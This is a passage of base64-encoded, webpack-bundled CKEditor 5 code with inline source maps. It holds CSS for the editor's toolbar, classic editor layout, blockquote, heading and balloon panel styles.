uXG5cdFx0XHQvKiAiTWlkZGxlIiBjaGlsZHJlbiBzaG91bGQgaGF2ZSBubyByb3VuZGVkIGNvcm5lcnMuICovXG5cdFx0XHQmOm5vdCg6Zmlyc3QtY2hpbGQpOm5vdCg6bGFzdC1jaGlsZCkge1xuXHRcdFx0XHRib3JkZXItcmFkaXVzOiAwO1xuXHRcdFx0fVxuXHRcdH1cblx0fVxuXG5cdCYgPiAuY2suY2stdG9vbGJhcl9fZ3JvdXBlZC1kcm9wZG93biB7XG5cdFx0Lypcblx0XHQgKiBEcm9wZG93biBidXR0b24gaGFzIGFzeW1tZXRyaWMgcGFkZGluZyB0byBmaXQgdGhlIGFycm93LlxuXHRcdCAqIFRoaXMgYnV0dG9uIGhhcyBubyBhcnJvdyBzbyBsZXRcJ3MgcmV2ZXJ0IHRoYXQgcGFkZGluZyBiYWNrIHRvIG5vcm1hbC5cblx0XHQgKi9cblx0XHQmID4gLmNrLmNrLWJ1dHRvbi5jay1kcm9wZG93bl9fYnV0dG9uIHtcblx0XHRcdHBhZGRpbmctbGVmdDogdmFyKC0tY2stc3BhY2luZy10aW55KTtcblx0XHR9XG5cdH1cblxuXHRAbmVzdCAuY2stdG9vbGJhci1jb250YWluZXIgJiB7XG5cdFx0Ym9yZGVyOiAwO1xuXHR9XG59XG5cbi8qIHN0eWxlbGludC1kaXNhYmxlICovXG5cbi8qXG4gKiBTdHlsZXMgZm9yIFJUTCB0b29sYmFycy5cbiAqXG4gKiBOb3RlOiBJbiBzb21lIGNhc2VzIChlLmcuIGEgZGVjb3VwbGVkIGVkaXRvciksIHRoZSB0b29sYmFyIGhhcyBpdHMgb3duICJkaXIiXG4gKiBiZWNhdXNlIGl0cyBwYXJlbnQgaXMgbm90IGNvbnRyb2xsZWQgYnkgdGhlIGVkaXRvciBmcmFtZXdvcmsuXG4gKi9cbltkaXI9InJ0bCJdIC5jay5jay10b29sYmFyLFxuLmNrLmNrLXRvb2xiYXJbZGlyPSJydGwiXSB7XG5cdCYgPiAuY2stdG9vbGJhcl9faXRlbXMgPiAuY2sge1xuXHRcdG1hcmdpbi1yaWdodDogMDtcblx0fVxuXG5cdCY6bm90KC5jay10b29sYmFyX2NvbXBhY3QpID4gLmNrLXRvb2xiYXJfX2l0ZW1zID4gLmNrIHtcblx0XHQvKiAoIzExKSBTZXBhcmF0ZSB0b29sYmFyIGl0ZW1zLiAqL1xuXHRcdG1hcmdpbi1sZWZ0OiB2YXIoLS1jay1zcGFjaW5nLXNtYWxsKTtcblx0fVxuXG5cdCYgPiAuY2stdG9vbGJhcl9faXRlbXMgPiAuY2s6bGFzdC1jaGlsZCB7XG5cdFx0bWFyZ2luLWxlZnQ6IDA7XG5cdH1cblxuXHQmLmNrLXRvb2xiYXJfY29tcGFjdCA+IC5jay10b29sYmFyX19pdGVtcyA+IC5jayB7XG5cdFx0LyogTm8gcm91bmRlZCBjb3JuZXJzIG9uIHRoZSByaWdodCBzaWRlIG9mIHRoZSBmaXJzdCBjaGlsZC4gKi9cblx0XHQmOmZpcnN0LWNoaWxkIHtcblx0XHRcdGJvcmRlci10b3AtbGVmdC1yYWRpdXM6IDA7XG5cdFx0XHRib3JkZXItYm90dG9tLWxlZnQtcmFkaXVzOiAwO1xuXHRcdH1cblxuXHRcdC8qIE5vIHJvdW5kZWQgY29ybmVycyBvbiB0aGUgbGVmdCBzaWRlIG9mIHRoZSBsYXN0IGNoaWxkLiAqL1xuXHRcdCY6bGFzdC1jaGlsZCB7XG5cdFx0XHRib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogMDtcblx0XHRcdGJvcmRlci1ib3R0b20tcmlnaHQtcmFkaXVzOiAwO1xuXHRcdH1cblx0fVxuXG5cdC8qIFNlcGFyYXRlIHRoZSB0aGUgc2VwYXJhdG9yIGZvcm0gdGhlIGdyb3VwaW5nIGRyb3Bkb3duIHdoZW4gc29tZSBpdGVtcyBhcmUgZ3JvdXBlZC4gKi9cblx0JiA+IC5jay5jay10b29sYmFyX19zZXBhcmF0b3Ige1xuXHRcdG1hcmdpbi1sZWZ0OiB2YXIoLS1jay1zcGFjaW5nLXNtYWxsKTtcblx0fVxuXG5cdC8qIFNvbWUgc3BhY2luZyBiZXR3ZWVuIHRoZSBpdGVtcyBhbmQgdGhlIHNlcGFyYXRvciBiZWZvcmUgdGhlIGdyb3VwZWQgaXRlbXMgZHJvcGRvd24uICovXG5cdCYuY2stdG9vbGJhcl9ncm91cGluZyA+IC5jay10b29sYmFyX19pdGVtczpub3QoOmVtcHR5KTpub3QoOm9ubHktY2hpbGQpIHtcblx0XHRtYXJnaW4tbGVmdDogdmFyKC0tY2stc3BhY2luZy1zbWFsbCk7XG5cdH1cbn1cblxuLypcbiAqIFN0eWxlcyBmb3IgTFRSIHRvb2xiYXJzLlxuICpcbiAqIE5vdGU6IEluIHNvbWUgY2FzZXMgKGUuZy4gYSBkZWNvdXBsZWQgZWRpdG9yKSwgdGhlIHRvb2xiYXIgaGFzIGl0cyBvd24gImRpciJcbiAqIGJlY2F1c2UgaXRzIHBhcmVudCBpcyBub3QgY29udHJvbGxlZCBieSB0aGUgZWRpdG9yIGZyYW1ld29yay5cbiAqL1xuW2Rpcj0ibHRyIl0gLmNrLmNrLXRvb2xiYXIsXG4uY2suY2stdG9vbGJhcltkaXI9Imx0ciJdIHtcblx0JiA+IC5jay10b29sYmFyX19pdGVtcyA+IC5jazpsYXN0LWNoaWxkIHtcblx0XHRtYXJnaW4tcmlnaHQ6IDA7XG5cdH1cblxuXHQmLmNrLXRvb2xiYXJfY29tcGFjdCA+IC5jay10b29sYmFyX19pdGVtcyA+IC5jayB7XG5cdFx0LyogTm8gcm91bmRlZCBjb3JuZXJzIG9uIHRoZSByaWdodCBzaWRlIG9mIHRoZSBmaXJzdCBjaGlsZC4gKi9cblx0XHQmOmZpcnN0LWNoaWxkIHtcblx0XHRcdGJvcmRlci10b3AtcmlnaHQtcmFkaXVzOiAwO1xuXHRcdFx0Ym9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6IDA7XG5cdFx0fVxuXG5cdFx0LyogTm8gcm91bmRlZCBjb3JuZXJzIG9uIHRoZSBsZWZ0IHNpZGUgb2YgdGhlIGxhc3QgY2hpbGQuICovXG5cdFx0JjpsYXN0LWNoaWxkIHtcblx0XHRcdGJvcmRlci10b3AtbGVmdC1yYWRpdXM6IDA7XG5cdFx0XHRib3JkZXItYm90dG9tLWxlZnQtcmFkaXVzOiAwO1xuXHRcdH1cblx0fVxuXG5cdC8qIFNlcGFyYXRlIHRoZSB0aGUgc2VwYXJhdG9yIGZvcm0gdGhlIGdyb3VwaW5nIGRyb3Bkb3duIHdoZW4gc29tZSBpdGVtcyBhcmUgZ3JvdXBlZC4gKi9cblx0JiA+IC5jay5jay10b29sYmFyX19zZXBhcmF0b3Ige1xuXHRcdG1hcmdpbi1yaWdodDogdmFyKC0tY2stc3BhY2luZy1zbWFsbCk7XG5cdH1cblxuXHQvKiBTb21lIHNwYWNpbmcgYmV0d2VlbiB0aGUgaXRlbXMgYW5kIHRoZSBzZXBhcmF0b3IgYmVmb3JlIHRoZSBncm91cGVkIGl0ZW1zIGRyb3Bkb3duLiAqL1xuXHQmLmNrLXRvb2xiYXJfZ3JvdXBpbmcgPiAuY2stdG9vbGJhcl9faXRlbXM6bm90KDplbXB0eSk6bm90KDpvbmx5LWNoaWxkKSB7XG5cdFx0bWFyZ2luLXJpZ2h0OiB2YXIoLS1jay1zcGFjaW5nLXNtYWxsKTtcblx0fVxufVxuXG4vKiBzdHlsZWxpbnQtZW5hYmxlICovXG4nLCIvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbi8qKlxuICogSW1wbGVtZW50cyByb3VuZGVkIGNvcm5lciBpbnRlcmZhY2UgZm9yIC5jay1yb3VuZGVkLWNvcm5lcnMgY2xhc3MuXG4gKlxuICogQHNlZSAkY2stYm9yZGVyLXJhZGl1c1xuICovXG5AZGVmaW5lLW1peGluIGNrLXJvdW5kZWQtY29ybmVycyB7XG5cdGJvcmRlci1yYWRpdXM6IDA7XG5cblx0QG5lc3QgLmNrLXJvdW5kZWQtY29ybmVycyAmLFxuXHQmLmNrLXJvdW5kZWQtY29ybmVycyB7XG5cdFx0Ym9yZGVyLXJhZGl1czogdmFyKC0tY2stYm9yZGVyLXJhZGl1cyk7XG5cdFx0QG1peGluLWNvbnRlbnQ7XG5cdH1cbn1cbiJdLHNvdXJjZVJvb3Q6IiJ9XSk7ZVsiYSJdPWF9LGZ1bmN0aW9uKHQsZSxuKXsidXNlIHN0cmljdCI7dmFyIGk9bigyKTt2YXIgbz1uLm4oaSk7dmFyIHI9bigzKTt2YXIgcz1uLm4ocik7dmFyIGE9cygpKG8uYSk7YS5wdXNoKFt0LmksIi5jay5jay1lZGl0b3J7cG9zaXRpb246cmVsYXRpdmV9LmNrLmNrLWVkaXRvciAuY2stZWRpdG9yX190b3AgLmNrLXN0aWNreS1wYW5lbCAuY2stdG9vbGJhcnt6LWluZGV4OnZhcigtLWNrLXotbW9kYWwpfS5jay5jay1lZGl0b3JfX3RvcCAuY2stc3RpY2t5LXBhbmVsIC5jay10b29sYmFye2JvcmRlci1yYWRpdXM6MH0uY2stcm91bmRlZC1jb3JuZXJzIC5jay5jay1lZGl0b3JfX3RvcCAuY2stc3RpY2t5LXBhbmVsIC5jay10b29sYmFyLC5jay5jay1lZGl0b3JfX3RvcCAuY2stc3RpY2t5LXBhbmVsIC5jay10b29sYmFyLmNrLXJvdW5kZWQtY29ybmVyc3tib3JkZXItcmFkaXVzOnZhcigtLWNrLWJvcmRlci1yYWRpdXMpO2JvcmRlci1ib3R0b20tbGVmdC1yYWRpdXM6MDtib3JkZXItYm90dG9tLXJpZ2h0LXJhZGl1czowfS5jay5jay1lZGl0b3JfX3RvcCAuY2stc3RpY2t5LXBhbmVsIC5jay10b29sYmFye2JvcmRlci1ib3R0b20td2lkdGg6MH0uY2suY2stZWRpdG9yX190b3AgLmNrLXN0aWNreS1wYW5lbCAuY2stc3RpY2t5LXBhbmVsX19jb250ZW50X3N0aWNreSAuY2stdG9vbGJhcntib3JkZXItYm90dG9tLXdpZHRoOjFweDtib3JkZXItcmFkaXVzOjB9LmNrLXJvdW5kZWQtY29ybmVycyAuY2suY2stZWRpdG9yX190b3AgLmNrLXN0aWNreS1wYW5lbCAuY2stc3RpY2t5LXBhbmVsX19jb250ZW50X3N0aWNreSAuY2stdG9vbGJhciwuY2suY2stZWRpdG9yX190b3AgLmNrLXN0aWNreS1wYW5lbCAuY2stc3RpY2t5LXBhbmVsX19jb250ZW50X3N0aWNreSAuY2stdG9vbGJhci5jay1yb3VuZGVkLWNvcm5lcnN7Ym9yZGVyLXJhZGl1czp2YXIoLS1jay1ib3JkZXItcmFkaXVzKTtib3JkZXItcmFkaXVzOjB9LmNrLmNrLWVkaXRvcl9fbWFpbj4uY2stZWRpdG9yX19lZGl0YWJsZXtiYWNrZ3JvdW5kOnZhcigtLWNrLWNvbG9yLWJhc2UtYmFja2dyb3VuZCk7Ym9yZGVyLXJhZGl1czowfS5jay1yb3VuZGVkLWNvcm5lcnMgLmNrLmNrLWVkaXRvcl9fbWFpbj4uY2stZWRpdG9yX19lZGl0YWJsZSwuY2suY2stZWRpdG9yX19tYWluPi5jay1lZGl0b3JfX2VkaXRhYmxlLmNrLXJvdW5kZWQtY29ybmVyc3tib3JkZXItcmFkaXVzOnZhcigtLWNrLWJvcmRlci1yYWRpdXMpO2JvcmRlci10b3AtbGVmdC1yYWRpdXM6MDtib3JkZXItdG9wLXJpZ2h0LXJhZGl1czowfS5jay5jay1lZGl0b3JfX21haW4+LmNrLWVkaXRvcl9fZWRpdGFibGU6bm90KC5jay1mb2N1c2VkKXtib3JkZXItY29sb3I6dmFyKC0tY2stY29sb3ItYmFzZS1ib3JkZXIpfSIsIiIse3ZlcnNpb246Myxzb3VyY2VzOlsid2VicGFjazovLy4vbm9kZV9tb2R1bGVzL0Bja2VkaXRvci9ja2VkaXRvcjUtZWRpdG9yLWNsYXNzaWMvdGhlbWUvY2xhc3NpY2VkaXRvci5jc3MiLCJ3ZWJwYWNrOi8vLi9ub2RlX21vZHVsZXMvQGNrZWRpdG9yL2NrZWRpdG9yNS10aGVtZS1sYXJrL3RoZW1lL2NrZWRpdG9yNS1lZGl0b3ItY2xhc3NpYy9jbGFzc2ljZWRpdG9yLmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvdGhlbWUvbWl4aW5zL19yb3VuZGVkLmNzcyJdLG5hbWVzOltdLG1hcHBpbmdzOiJBQUtBLGNBSUMsaUJBTUQsQ0FKQywyREFFQyx5QkFDRCxDQ0xDLGdEQ0VELGVES0MsQ0FQQSx1SUNNQSxxQ0FBc0MsQ0RKcEMsMkJBQTRCLENBQzVCLDRCQUlGLENBUEEsZ0RBTUMscUJBQ0QsQ0FFQSxpRkFDQyx1QkFBd0IsQ0NSMUIsZURhQyxDQU5BLHlNQ0hBLHFDQUFzQyxDRE9wQyxlQUVGLENBS0YseUNBRUMsMENBQTJDLENDcEIzQyxlRDhCRCxDQVpBLHlIQ2RFLHFDQUFzQyxDRG1CdEMsd0JBQXlCLENBQ3pCLHlCQU1GLENBSEMsMERBQ0Msd0NBQ0QiLHNvdXJjZXNDb250ZW50OlsiLypcbiAqIENvcHlyaWdodCAoYykgMjAwMy0yMDIwLCBDS1NvdXJjZSAtIEZyZWRlcmljbyBLbmFiYmVuLiBBbGwgcmlnaHRzIHJlc2VydmVkLlxuICogRm9yIGxpY2Vuc2luZywgc2VlIExJQ0VOU0UubWQgb3IgaHR0cHM6Ly9ja2VkaXRvci5jb20vbGVnYWwvY2tlZGl0b3Itb3NzLWxpY2Vuc2VcbiAqL1xuXG4uY2suY2stZWRpdG9yIHtcblx0LyogQWxsIHRoZSBlbGVtZW50cyB3aXRoaW4gYC5jay1lZGl0b3JgIGFyZSBwb3NpdGlvbmVkIHJlbGF0aXZlbHkgdG8gaXQuXG5cdCBJZiBhbnkgZWxlbWVudCBuZWVkcyB0byBiZSBwb3NpdGlvbmVkIHdpdGggcmVzcGVjdCB0byB0aGUgPGJvZHk+LCBldGMuLFxuXHQgaXQgbXVzdCBsYW5kIG91dHNpZGUgb2YgdGhlIGAuY2stZWRpdG9yYCBpbiBET00uICovXG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblxuXHQmIC5jay1lZGl0b3JfX3RvcCAuY2stc3RpY2t5LXBhbmVsIC5jay10b29sYmFyIHtcblx0XHQvKiBodHRwczovL2dpdGh1Yi5jb20vY2tlZGl0b3IvY2tlZGl0b3I1LWVkaXRvci1jbGFzc2ljL2lzc3Vlcy82MiAqL1xuXHRcdHotaW5kZXg6IHZhcigtLWNrLXotbW9kYWwpO1xuXHR9XG59XG4iLCcvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbkBpbXBvcnQgIi4uL21peGlucy9fcm91bmRlZC5jc3MiO1xuXG4uY2suY2stZWRpdG9yX190b3Age1xuXHQmIC5jay1zdGlja3ktcGFuZWwge1xuXHRcdCYgLmNrLXRvb2xiYXIge1xuXHRcdFx0QG1peGluIGNrLXJvdW5kZWQtY29ybmVycyB7XG5cdFx0XHRcdGJvcmRlci1ib3R0b20tbGVmdC1yYWRpdXM6IDA7XG5cdFx0XHRcdGJvcmRlci1ib3R0b20tcmlnaHQtcmFkaXVzOiAwO1xuXHRcdFx0fVxuXG5cdFx0XHRib3JkZXItYm90dG9tLXdpZHRoOiAwO1xuXHRcdH1cblxuXHRcdCYgLmNrLXN0aWNreS1wYW5lbF9fY29udGVudF9zdGlja3kgLmNrLXRvb2xiYXIge1xuXHRcdFx0Ym9yZGVyLWJvdHRvbS13aWR0aDogMXB4O1xuXG5cdFx0XHRAbWl4aW4gY2stcm91bmRlZC1jb3JuZXJzIHtcblx0XHRcdFx0Ym9yZGVyLXJhZGl1czogMDtcblx0XHRcdH1cblx0XHR9XG5cdH1cbn1cblxuLyogTm90ZTogVXNlIGNrLWVkaXRvcl9fbWFpbiB0byBtYWtlIHN1cmUgdGhlc2Ugc3R5bGVzIGRvblwndCBhcHBseSB0byBvdGhlciBlZGl0b3IgdHlwZXMgKi9cbi5jay5jay1lZGl0b3JfX21haW4gPiAuY2stZWRpdG9yX19lZGl0YWJsZSB7XG5cdC8qIGh0dHBzOi8vZ2l0aHViLmNvbS9ja2VkaXRvci9ja2VkaXRvcjUtdGhlbWUtbGFyay9pc3N1ZXMvMTEzICovXG5cdGJhY2tncm91bmQ6IHZhcigtLWNrLWNvbG9yLWJhc2UtYmFja2dyb3VuZCk7XG5cblx0QG1peGluIGNrLXJvdW5kZWQtY29ybmVycyB7XG5cdFx0Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1czogMDtcblx0XHRib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogMDtcblx0fVxuXG5cdCY6bm90KC5jay1mb2N1c2VkKSB7XG5cdFx0Ym9yZGVyLWNvbG9yOiB2YXIoLS1jay1jb2xvci1iYXNlLWJvcmRlcik7XG5cdH1cbn1cbicsIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuLyoqXG4gKiBJbXBsZW1lbnRzIHJvdW5kZWQgY29ybmVyIGludGVyZmFjZSBmb3IgLmNrLXJvdW5kZWQtY29ybmVycyBjbGFzcy5cbiAqXG4gKiBAc2VlICRjay1ib3JkZXItcmFkaXVzXG4gKi9cbkBkZWZpbmUtbWl4aW4gY2stcm91bmRlZC1jb3JuZXJzIHtcblx0Ym9yZGVyLXJhZGl1czogMDtcblxuXHRAbmVzdCAuY2stcm91bmRlZC1jb3JuZXJzICYsXG5cdCYuY2stcm91bmRlZC1jb3JuZXJzIHtcblx0XHRib3JkZXItcmFkaXVzOiB2YXIoLS1jay1ib3JkZXItcmFkaXVzKTtcblx0XHRAbWl4aW4tY29udGVudDtcblx0fVxufVxuIl0sc291cmNlUm9vdDoiIn1dKTtlWyJhIl09YX0sZnVuY3Rpb24odCxlLG4peyJ1c2Ugc3RyaWN0Ijt2YXIgaT1uKDIpO3ZhciBvPW4ubihpKTt2YXIgcj1uKDMpO3ZhciBzPW4ubihyKTt2YXIgYT1zKCkoby5hKTthLnB1c2goW3QuaSwiLmNrLWNvbnRlbnQgYmxvY2txdW90ZXtvdmVyZmxvdzpoaWRkZW47cGFkZGluZy1yaWdodDoxLjVlbTtwYWRkaW5nLWxlZnQ6MS41ZW07bWFyZ2luLWxlZnQ6MDttYXJnaW4tcmlnaHQ6MDtmb250LXN0eWxlOml0YWxpYztib3JkZXItbGVmdDo1cHggc29saWQgI2NjY30uY2stY29udGVudFtkaXI9cnRsXSBibG9ja3F1b3Rle2JvcmRlci1sZWZ0OjA7Ym9yZGVyLXJpZ2h0OjVweCBzb2xpZCAjY2NjfSIsIiIse3ZlcnNpb246Myxzb3VyY2VzOlsid2VicGFjazovLy4vbm9kZV9tb2R1bGVzL0Bja2VkaXRvci9ja2VkaXRvcjUtYmxvY2stcXVvdGUvdGhlbWUvYmxvY2txdW90ZS5jc3MiXSxuYW1lczpbXSxtYXBwaW5nczoiQUFLQSx1QkFFQyxlQUFnQixDQUdoQixtQkFBb0IsQ0FDcEIsa0JBQW1CLENBRW5CLGFBQWMsQ0FDZCxjQUFlLENBQ2YsaUJBQWtCLENBQ2xCLDBCQUNELENBRUEsZ0NBQ0MsYUFBYyxDQUNkLDJCQUNEIixzb3VyY2VzQ29udGVudDpbJy8qKlxuICogQGxpY2Vuc2UgQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbi5jay1jb250ZW50IGJsb2NrcXVvdGUge1xuXHQvKiBTZWUgIzEyICovXG5cdG92ZXJmbG93OiBoaWRkZW47XG5cblx0LyogaHR0cHM6Ly9naXRodWIuY29tL2NrZWRpdG9yL2NrZWRpdG9yNS1ibG9jay1xdW90ZS9pc3N1ZXMvMTUgKi9cblx0cGFkZGluZy1yaWdodDogMS41ZW07XG5cdHBhZGRpbmctbGVmdDogMS41ZW07XG5cblx0bWFyZ2luLWxlZnQ6IDA7XG5cdG1hcmdpbi1yaWdodDogMDtcblx0Zm9udC1zdHlsZTogaXRhbGljO1xuXHRib3JkZXItbGVmdDogc29saWQgNXB4IGhzbCgwLCAwJSwgODAlKTtcbn1cblxuLmNrLWNvbnRlbnRbZGlyPSJydGwiXSBibG9ja3F1b3RlIHtcblx0Ym9yZGVyLWxlZnQ6IDA7XG5cdGJvcmRlci1yaWdodDogc29saWQgNXB4IGhzbCgwLCAwJSwgODAlKTtcbn1cbiddLHNvdXJjZVJvb3Q6IiJ9XSk7ZVsiYSJdPWF9LGZ1bmN0aW9uKHQsZSxuKXsidXNlIHN0cmljdCI7dmFyIGk9bigyKTt2YXIgbz1uLm4oaSk7dmFyIHI9bigzKTt2YXIgcz1uLm4ocik7dmFyIGE9cygpKG8uYSk7YS5wdXNoKFt0LmksIi5jay5jay1oZWFkaW5nX2hlYWRpbmcxe2ZvbnQtc2l6ZToyMHB4fS5jay5jay1oZWFkaW5nX2hlYWRpbmcye2ZvbnQtc2l6ZToxN3B4fS5jay5jay1oZWFkaW5nX2hlYWRpbmcze2ZvbnQtc2l6ZToxNHB4fS5ja1tjbGFzcyo9Y2staGVhZGluZ19oZWFkaW5nXXtmb250LXdlaWdodDo3MDB9LmNrLmNrLWRyb3Bkb3duLmNrLWhlYWRpbmctZHJvcGRvd24gLmNrLWRyb3Bkb3duX19idXR0b24gLmNrLWJ1dHRvbl9fbGFiZWx7d2lkdGg6OGVtfS5jay5jay1kcm9wZG93bi5jay1oZWFkaW5nLWRyb3Bkb3duIC5jay1kcm9wZG93bl9fcGFuZWwgLmNrLWxpc3RfX2l0ZW17bWluLXdpZHRoOjE4ZW19IiwiIix7dmVyc2lvbjozLHNvdXJjZXM6WyJ3ZWJwYWNrOi8vLi9ub2RlX21vZHVsZXMvQGNrZWRpdG9yL2NrZWRpdG9yNS1oZWFkaW5nL3RoZW1lL2hlYWRpbmcuY3NzIiwid2VicGFjazovLy4vbm9kZV9tb2R1bGVzL0Bja2VkaXRvci9ja2VkaXRvcjUtdGhlbWUtbGFyay90aGVtZS9ja2VkaXRvcjUtaGVhZGluZy9oZWFkaW5nLmNzcyJdLG5hbWVzOltdLG1hcHBpbmdzOiJBQUtBLHdCQUNDLGNBQ0QsQ0FFQSx3QkFDQyxjQUNELENBRUEsd0JBQ0MsY0FDRCxDQUVBLCtCQUNDLGVBQ0QsQ0NaQywyRUFDQyxTQUNELENBRUEsdUVBQ0MsY0FDRCIsc291cmNlc0NvbnRlbnQ6WycvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbi5jay5jay1oZWFkaW5nX2hlYWRpbmcxIHtcblx0Zm9udC1zaXplOiAyMHB4O1xufVxuXG4uY2suY2staGVhZGluZ19oZWFkaW5nMiB7XG5cdGZvbnQtc2l6ZTogMTdweDtcbn1cblxuLmNrLmNrLWhlYWRpbmdfaGVhZGluZzMge1xuXHRmb250LXNpemU6IDE0cHg7XG59XG5cbi5ja1tjbGFzcyo9ImNrLWhlYWRpbmdfaGVhZGluZyJdIHtcblx0Zm9udC13ZWlnaHQ6IGJvbGQ7XG59XG4nLCIvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbi8qIFJlc2l6ZSBkcm9wZG93bidzIGJ1dHRvbiBsYWJlbC4gKi9cbi5jay5jay1kcm9wZG93bi5jay1oZWFkaW5nLWRyb3Bkb3duIHtcblx0JiAuY2stZHJvcGRvd25fX2J1dHRvbiAuY2stYnV0dG9uX19sYWJlbCB7XG5cdFx0d2lkdGg6IDhlbTtcblx0fVxuXG5cdCYgLmNrLWRyb3Bkb3duX19wYW5lbCAuY2stbGlzdF9faXRlbSB7XG5cdFx0bWluLXdpZHRoOiAxOGVtO1xuXHR9XG59XG4iXSxzb3VyY2VSb290OiIifV0pO2VbImEiXT1hfSxmdW5jdGlvbih0LGUsbil7InVzZSBzdHJpY3QiO3ZhciBpPW4oMik7dmFyIG89bi5uKGkpO3ZhciByPW4oMyk7dmFyIHM9bi5uKHIpO3ZhciBhPXMoKShvLmEpO2EucHVzaChbdC5pLCc6cm9vdHstLWNrLWJhbGxvb24tcGFuZWwtYXJyb3ctei1pbmRleDpjYWxjKHZhcigtLWNrLXotZGVmYXVsdCkgLSAzKX0uY2suY2stYmFsbG9vbi1wYW5lbHtkaXNwbGF5Om5vbmU7cG9zaXRpb246YWJzb2x1dGU7ei1pbmRleDp2YXIoLS1jay16LW1vZGFsKX0uY2suY2stYmFsbG9vbi1wYW5lbC5jay1iYWxsb29uLXBhbmVsX3dpdGgtYXJyb3c6YWZ0ZXIsLmNrLmNrLWJhbGxvb24tcGFuZWwuY2stYmFsbG9vbi1wYW5lbF93aXRoLWFycm93OmJlZm9yZXtjb250ZW50OiIiO3Bvc2l0aW9uOmFic29sdXRlfS5jay5jay1iYWxsb29uLXBhbmVsLmNrLWJhbGxvb24tcGFuZWxfd2l0aC1hcnJvdzpiZWZvcmV7ei1pbmRleDp2YXIoLS1jay1iYWxsb29uLXBhbmVsLWFycm93LXotaW5kZXgpfS5jay5jay1iYWxsb29uLXBhbmVsLmNrLWJhbGxvb24tcGFuZWxfd2l0aC1hcnJvdzphZnRlcnt6LWluZGV4OmNhbGModmFyKC0tY2stYmFsbG9vbi1wYW5lbC1hcnJvdy16LWluZGV4KSArIDEpfS5jay5jay1iYWxsb29uLXBhbmVsW2NsYXNzKj1hcnJvd19uXTpiZWZvcmV7ei1pbmRleDp2YXIoLS1jay1iYWxsb29uLXBhbmVsLWFycm93LXotaW5kZXgpfS5jay5jay1iYWxsb29uLXBhbmVsW2NsYXNzKj1hcnJvd19uXTphZnRlcnt6LWluZGV4OmNhbGModmFyKC0tY2stYmFsbG9vbi1wYW5lbC1hcnJvdy16LWluZGV4KSArIDEpfS5jay5jay1iYWxsb29uLXBhbmVsW2NsYXNzKj1hcnJvd19zXTpiZWZvcmV7ei1pbmRleDp2YXIoLS1jay1iYWxsb29uLXBhbmVsLWFycm93LXotaW5kZXgpfS5jay5jay1iYWxsb29uLXBhbmVsW2NsYXNzKj1hcnJvd19zXTphZnRlcnt6LWluZGV4OmNhbGModmFyKC0tY2stYmFsbG9vbi1wYW5lbC1hcnJvdy16LWluZGV4KSArIDEpfS5jay5jay1iYWxsb29uLXBhbmVsLmNrLWJhbGxvb24tcGFuZWxfdmlzaWJsZXtkaXNwbGF5OmJsb2NrfTpyb290ey0tY2stYmFsbG9vbi1hcnJvdy1vZmZzZXQ6MnB4Oy0tY2stYmFsbG9vbi1hcnJvdy1oZWlnaHQ6MTBweDstLWNrLWJhbGxvb24tYXJyb3ctaGFsZi13aWR0aDo4cHg7LS1jay1iYWxsb29uLWFycm93LWRyb3Atc2hhZG93OjAgMnB4IDJweCB2YXIoLS1jay1jb2xvci1zaGFkb3ctZHJvcCl9LmNrLmNrLWJhbGxvb24tcGFuZWx7Ym9yZGVyLXJhZGl1czowfS5jay1yb3VuZGVkLWNvcm5lcnMgLmNrLmNrLWJhbGxvb24tcGFuZWwsLmNrLmNrLWJhbGxvb24tcGFuZWwuY2stcm91bmRlZC1jb3JuZXJze2JvcmRlci1yYWRpdXM6dmFyKC0tY2stYm9yZGVyLXJhZGl1cyl9LmNrLmNrLWJhbGxvb24tcGFuZWx7Ym94LXNoYWRvdzp2YXIoLS1jay1kcm9wLXNoYWRvdyksMCAwO21pbi1oZWlnaH